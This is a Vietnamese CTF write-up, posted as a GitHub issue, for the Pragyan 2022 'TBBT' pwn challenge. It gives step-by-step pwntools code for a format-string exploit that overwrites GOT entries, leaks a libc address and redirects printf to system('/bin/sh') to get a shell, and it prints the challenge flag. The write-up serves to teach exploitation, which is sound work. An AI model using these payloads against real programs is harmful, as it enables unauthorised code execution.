kcsc-club / ctfs

repository for kscs-ctfs
8 stars 1 forks source link

TBBT - pwn - Pragyan2022 #26

Closed johnathanhuutri closed 2 years ago

johnathanhuutri commented 2 years ago

Pragyan CTF 2022 - TBBT

Liên kết gốc: https://ctf.pragyan.org/

Bạn cũng có thể tải challenge ở đây: TBBT.zip

Zip sẽ bao gồm 1 file:

Tải xuống và giải nén, sau đó chúng ta bắt đầu!

1. Tìm lỗi

Trước tiên, ta sẽ sử dụng file để kiểm tra thông tin cơ bản:

$ file vuln
vuln: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=5788619d307e852a6bb996dcf05536b6600823b6, for GNU/Linux 3.2.0, not stripped

Đây là file 32 bit không bị ẩn code. Tiếp theo, ta sẽ sử dụng checksec để kiểm tra tất cả các lớp bảo vệ của file:

$ checksec vuln
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments

Chỉ có PIE enabled. Cuối cùng, ta sẽ dịch ngược file với ghidra để hiểu được cách chương trình hoạt động. Hàm main() không có gì thú vị ngoại trừ lệnh lin().

Trong hàm lin(), trước tiên nó kiểm tra xem đầu vào của chúng ta (là các giá trị khi ta nhập trong hàm main()) có chứa bất kỳ ký tự nào trong chuỗi 3456789:;\357ghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ của biến toàn cục arr hay không. Nếu input của chúng ta có ký tự với chuỗi đó thì chương trình sẽ thoát, nhưng nếu không, ta có thể thực thi đoạn code bên dưới hàm check.

image

Khi thực thi tới đoạn code như ảnh trên, đầu tiên chương trình sẽ fget(local_90, 0x7f, stdin) và sau đó là printf(local_90). Chờ đã, ta thấy rằng hàm printf không có bất kỳ định dạng nào cho biến local_90 -> Format string .

Sau hàm printf() là fflush() và putchar() trông có vẻ không thú vị.

Đó là tất cả những gì chúng ta có thể tìm thấy. Bây giờ chúng ta hãy chuyển sang phần tiếp theo: Ý tưởng!

2. Ý tưởng

Vì chương trình chỉ thực hiện 1 lần nên nếu chúng ta nhảy vào hàm lin() và thực hiện printf thành công thì chúng ta vẫn kết thúc chương trình và không thể làm gì khác. Vì vậy, điều đầu tiên chúng ta cần làm là ghi đè fflust@got hoặc putchar@got để nhảy trở lại hàm lin() nhưng ở vị trí sau khi kiểm tra input với biến toàn cục arr.

Tiếp theo, ta sẽ cần phải leak địa chỉ __libc_start_main_ret để tìm libc tương ứng cho cuộc tấn công tiếp theo.

Cuối cùng, chúng ta sẽ ghi đè printf@got bằng system() để khi chúng ta fget() một lần nữa, chúng ta chỉ cần nhập /bin/sh và khi chương trình thực thi printf(), nó chỉ thực thi system("/bin/sh") và chúng ta tạo được shell.

P/s: Mình nhận ra rằng nó cho mình địa chỉ của main là do chúng ta có một hàm tên là nic() có thể làm một cái gì đó thú vị nhưng mình nghĩ đó là cờ giả vì khi mình lấy shell thì có 2 tệp được gọi flagnot_flag. Vì vậy cách của chúng ta là tốt nhất.

3. Khai thác

Ta sẽ chuyển đến hàm lin() với đoạn code bên dưới vì hàm main() không có gì để chúng ta tập trung:

# Get the main address and binary base address
p.sendlineafter(b'your name? \n', b'AAAAAAAA')
p.recvline()
main_addr = int(p.recvline()[:-1].split(b'. is ')[1], 16)
log.success("Main address: " + hex(main_addr))
exe.address = main_addr - exe.sym['main']
log.success("Exe address: " + hex(exe.address))

p.sendlineafter(b'2.No', b'1')
p.sendlineafter(b'2.No', b'1')
p.sendlineafter(b'2.No', b'\x01')    # Jump to lin() now

Lý do vì sao mình send \x01 ở dòng cuối cùng là bởi vì như bên trên ta đã nói, ở đầu hàm lin(), có một vòng for dùng để kiểm tra xem mỗi ký tự khi ta nhập ở hàm main() (đầu vào ở trên là 0x013131) có xuất hiện trong chuỗi arr hay không và sẽ thoát hoặc tiếp tục thực thi tương ứng. Để tránh việc kết thúc, mình chỉ đơn giản sử dụng \x01.

Và bây giờ, chúng ta bắt đầu!

Giai đoạn 1: Ghi đè fflush@got thành lin() + 116

Đầu tiên, chúng ta sẽ muốn biết tại %p thứ mấy sẽ trỏ tới phần đầu của dữ liệu mà ta nhập vào:

p.sendlineafter(b'your name? \n', b'AAAAAAAA') p.recvline() main_addr = int(p.recvline()[:-1].split(b'. is ')[1], 16) log.success("Main address: " + hex(main_addr)) exe.address = main_addr - exe.sym['main'] log.success("Exe address: " + hex(exe.address))

Và ta biết rằng tại %7$p sẽ trỏ về phần đầu của chuỗi:

image

Vì đây là tệp 32 bit nên ta chỉ việc đặt địa chỉ của fflush@got ở payload và thay đổi giá trị bằng %n. Để ghi đè fflush@got bằng lin()+116 (Ví dụ là 0x565ae6a7), chúng ta không thể ghi gửi 0x565ae6a7 ký tự lên server để ghi đè vào fflush@got được vì đó là một số rất lớn và sẽ mất nhiều thời gian để thực thi.

Để giải quyết vấn đề này, ta sẽ chia địa chỉ thành một nửa và viết 2 byte của fflush@got với 2 byte thấp của địa chỉ lin()+116 và 2 byte của fflush@got+2 với 2 byte cao của địa chỉ lin()+116. Với ví dụ về địa chỉ lin() ở trên, chúng ta sẽ muốn ghi 0x565ae6a7 vào fflush@got (ví dụ đang chứa 0x11111111), vì vậy chúng ta sẽ thay đổi theo thứ tự như sau:

# fflush@got = 0x11111111
# Overwrite fflush@got with 2 lower bytes: 0xe6a7
# fflush@got = 0x1111e6a7
# Overwrite fflush@got+2 (the address is added with 2) with 2 higher bytes: 0x565a
# fflush@got = 0x565ae6a7

Để làm điều đó, ta sẽ cần đặt địa chỉ của fflush@got trên stack và chọn offset của %p để có thể trỏ tới địa chỉ của fflush@got của payload:

payload = p32(exe.got['fflush'])
payload += b'PPPP'
payload += p32(exe.got['fflush']+2)
payload += b'%c'*5
payload += b'%c%p'          # %c point to some address before payload and %p point to 'exe.got['fflush']'
payload += b'%c%p'          # %c point to 'PPPP' and %p point to 'exe.got['fflush']+2'
p.sendlineafter(b'But....', payload)
p.recvline()
print(p.recvline())
print(hex(exe.got['fflush']))

Thực thi script và chúng ta có thể thấy được địa chỉ fflust@gotfflust@got+2:

image

Bây giờ, ta sẽ lấy địa chỉ của lin()+116 và chia thành 2 phần:

lin_addr_middle_hex = hex(exe.sym['lin'] + 116)
part1 = int(lin_addr_middle_hex[-4:], 16)        # Lower bytes
part2 = int(lin_addr_middle_hex[-8:-4], 16)      # Higher bytes

Ta sẽ muốn thay đổi 2 byte thấp hơn trước bằng cách sử dụng %hn để viết 2 byte và ta sẽ sử dụng %<k>c với k là số byte dùng cho số byte của pad để ta không cần phải gửi một lúc nhiều byte đến máy chủ:

payload = p32(exe.got['fflush'])           # 4 bytes
payload += b'PPPP'                         # 4 bytes
payload += p32(exe.got['fflush']+2)        # 4 bytes
payload += b'%c'*5                         # 5 bytes
payload += '%{}c%hn'.format(part1 - 17).encode()
payload += b'%c%p'
p.sendlineafter(b'But....', payload)
p.recvline()
print(p.recvline())
print(hex(exe.got['fflush']))

Chúng ta muốn ghi part1 nhưng trước part1, ta đã ghi một số byte. Vì vậy ta chỉ cần lấy part1 trừ với số byte đó và chúng ta sẽ có được số byte chính xác mà chúng ta muốn ghi. Chạy và debug bằng GDB, ta thấy rằng địa chỉ đã thay đổi:

image

Chúng ta có thể thấy rằng 2 byte thấp hơn đã được thay đổi thành công và chính xác. Bây giờ là lúc cho 2 byte cao hơn, nhưng trước tiên, hãy thử với %hn mà không có bất kỳ byte thêm nào của padding. Payload sẽ trở thành:

payload = p32(exe.got['fflush'])
payload += b'PPPP'
payload += p32(exe.got['fflush']+2)
payload += b'%c'*5
payload += '%{}c%hn'.format(part1 - 17).encode()
payload += b'%c%hn'                               # Change  here
p.sendlineafter(b'But....', payload)
p.recvline()
print(p.recvline())
print(hex(exe.got['fflush']))

Thực thi script và ta có:

image

Ta thấy rằng 2 byte cao hơn sẽ lấy số byte trước nó (0xe577) cộng thêm 1 (của %c) trước %hn. Vì vậy, ta chỉ cần lấy byte cao hơn và trừ với 2 byte thấp hơn và ghi vào fflush@got là xong.

Có một vấn đề, nếu 2 byte cao hơn đó nhỏ hơn 2 byte thấp hơn, phép trừ sẽ dẫn đến một số âm. Để tránh điều đó, ta sẽ cộng thêm 2 byte cao hơn với 0x10000 khi 2 byte cao nhỏ hơn 2 byte thấp.

Và với %hn (tức là chỉ ghi nhiều nhất 2 byte, không lấn sang byte thứ 3), thì số 0x1 trong byte thứ ba sẽ không được viết. Vì vậy, sau khi ta tách địa chỉ của lin()+116, ta sẽ thêm dòng kiểm tra này:

lin_addr_middle_hex = hex(exe.sym['lin'] + 116)
part1 = int(lin_addr_middle_hex[-4:], 16)        # Lower bytes
part2 = int(lin_addr_middle_hex[-8:-4], 16)      # Higher bytes
if part2<part1:                                  # Add this
    part2 += 0x10000

Và ta sẽ viết 2 byte cao hơn vào địa chỉ fflush@got+2 với đoạn mã sau:

payload = p32(exe.got['fflush'])
payload += b'PPPP'
payload += p32(exe.got['fflush']+2)
payload += b'%c'*5
payload += '%{}c%hn'.format(part1-17).encode()
payload += '%{}c%hn'.format(part2-part1).encode()
p.sendlineafter(b'But....', payload)
p.recvline()

Sau khi thực thi script, ta có thể thấy rằng fflush@got đã thay đổi thành công:

image

Tốt lắm! Hãy chuyển sang giai đoạn tiếp theo nào: Leak địa chỉ __libc_start_main_ret!

Giai đoạn 2: Leak địa chỉ __libc_start_main_ret

Bởi vì ta chỉ việc leak địa chỉ và không bắt buộc phải thay đổi bất kỳ thứ gì nên ta sẽ bao gồm code để leak địa chỉ __libc_start_main_ret với payload ghi đè fflush@got bên trên. Nhưng trước tiên, ta sẽ kiểm tra vị trí của __libc_start_main_ret khi dừng tại printf():

gef➤  x/100xw $esp
0xfff0cf90: 0xfff0cfac  0x0000007f  0xf7f3e580  0x56575517
0xfff0cfa0: 0x00000002  0x000007d4  0x0000000b  0x56577514    <-- Our input here
0xfff0cfb0: 0x50505050  0x56577516  0x63256325  0x63256325
0xfff0cfc0: 0x32256325  0x33363831  0x6e682563  0x33323225
0xfff0cfd0: 0x6e682563  0x24373825  0x00000a70  0xf7dc55b0
0xfff0cfe0: 0xfff0d048  0x000003e9  0xf7dd1b7d  0xf7f3f5e0
0xfff0cff0: 0xf7f3ed20  0x0000000b  0xfff0d038  0xc27ced00
0xfff0d000: 0xf7f3ed20  0x0000000a  0x0000000b  0x565774fc
0xfff0d010: 0xf7f3e000  0xf7f3e000  0xfff0d0e8  0xf7da8469
0xfff0d020: 0xf7f3e580  0x565760f6  0xfff0d044  0x0000003a
0xfff0d030: 0xf7f3e000  0x565774fc  0xfff0d0e8  0x565758e4
0xfff0d040: 0x57e481a2  0xf7f3e000  0xfff0d0e8  0x56575806
0xfff0d050: 0xfff0d08a  0xf7f7589c  0xf7f758a0  0x00003001
0xfff0d060: 0xf7f76000  0xf7f758a0  0xfff0d08a  0x00000001
0xfff0d070: 0x00000000  0x00c30000  0x00000001  0xf7f757e0
0xfff0d080: 0x00000000  0x00000000  0x00004034  0xc27ced00
0xfff0d090: 0x029c67af  0x00000534  0x0000008e  0xf7f3ca80
0xfff0d0a0: 0x00000000  0xf7f3e000  0xf7f757e0  0xf7f41c68
0xfff0d0b0: 0xf7f3e000  0xf7f5b2f0  0x00000000  0xf7d8b402
0xfff0d0c0: 0xf7f3e3fc  0x00000001  0x565774fc  0x565759c3
0xfff0d0d0: 0x41410001  0x41414141  0x000a4141  0x57e481a0
0xfff0d0e0: 0xfff0d100  0x00000000  0x00000000  0xf7d71ee5    <-- __libc_start_main_ret
0xfff0d0f0: 0xf7f3e000  0xf7f3e000  0x00000000  0xf7d71ee5
0xfff0d100: 0x00000001  0xfff0d194  0xfff0d19c  0xfff0d124
0xfff0d110: 0xf7f3e000  0xf7f76000  0xfff0d178  0x00000000

P / s: __libc_start_main_ret là nơi mà main() ret đến

Sau khi đếm offset, ta thấy rằng %87$p sẽ trỏ đến địa chỉ __libc_start_main_ret. Vì vậy, payload ở giai đoạn 1 của chúng ta sẽ viết thêm %87$p (không cần phải overwrite nên sử dụng format %<k>$p là ổn) vào payload như sau:

payload = p32(exe.got['fflush'])
payload += b'PPPP'
payload += p32(exe.got['fflush']+2)
payload += b'%c'*5
payload += '%{}c%hn'.format(part1-17).encode()
payload += '%{}c%hn%87$p'.format(part2-part1).encode()    # Add here
p.sendlineafter(b'But....', payload)
p.recvline()

Thực thi script và ta lấy được địa chỉ:

image

Kiểm tra trong GDB và đó là địa chỉ chính xác:

image

Vì vậy, ta sẽ lấy địa chỉ này và tính toán địa chỉ base của libc với đoạn code sau:

__libc_start_main_ret = int(p.recvline().split(b'0x')[-1], 16)
log.success("__Libc_start_main_ret: " + hex(__libc_start_main_ret))
libc.address = __libc_start_main_ret - libc.sym['__libc_start_main_ret']
log.success("Libc base: " + hex(libc.address))
print(hex(exe.got['fflush']))
print(hex(exe.sym['lin'] + 116))

Bây giờ, ta sẽ chuyển sang bước cuối cùng: Ghi đè printf@got thành system()!

Giai đoạn 3: Ghi đè printf@got thành system()

Ở giai đoạn này, ta sẽ làm tương tự như ta đã làm trong giai đoạn 1, vì vậy đây là code cho giai đoạn 3:

system_addr_hex = hex(libc.sym['system'])
part1 = int(system_addr_hex[-4:], 16)
part2 = int(system_addr_hex[-8:-4], 16)
if part2<part1:
    part2 += 0x10000

payload = p32(exe.got['printf'])
payload += b'PPPP'
payload += p32(exe.got['printf']+2)
payload += b'%c'*10
payload += '%{}c%hn'.format(part1-22).encode()
payload += '%{}c%hn'.format(part2-part1).encode()
# payload = b'AAAA'
# payload += b'%p'*0x20
p.sendline(payload)
data = p.recvline()

Sau khi thực thi code thành công, ta chỉ cần nhập chuỗi /bin/sh và printf() sẽ thực thi system() với tham số là chuỗi /bin/sh.

Full code: solve.py

4. Lấy cờ

image

Cờ là p_ctf{Sh3ld0N_1s_H4ppY_1H4t_u_4re_h4cK3R_7u9r4J}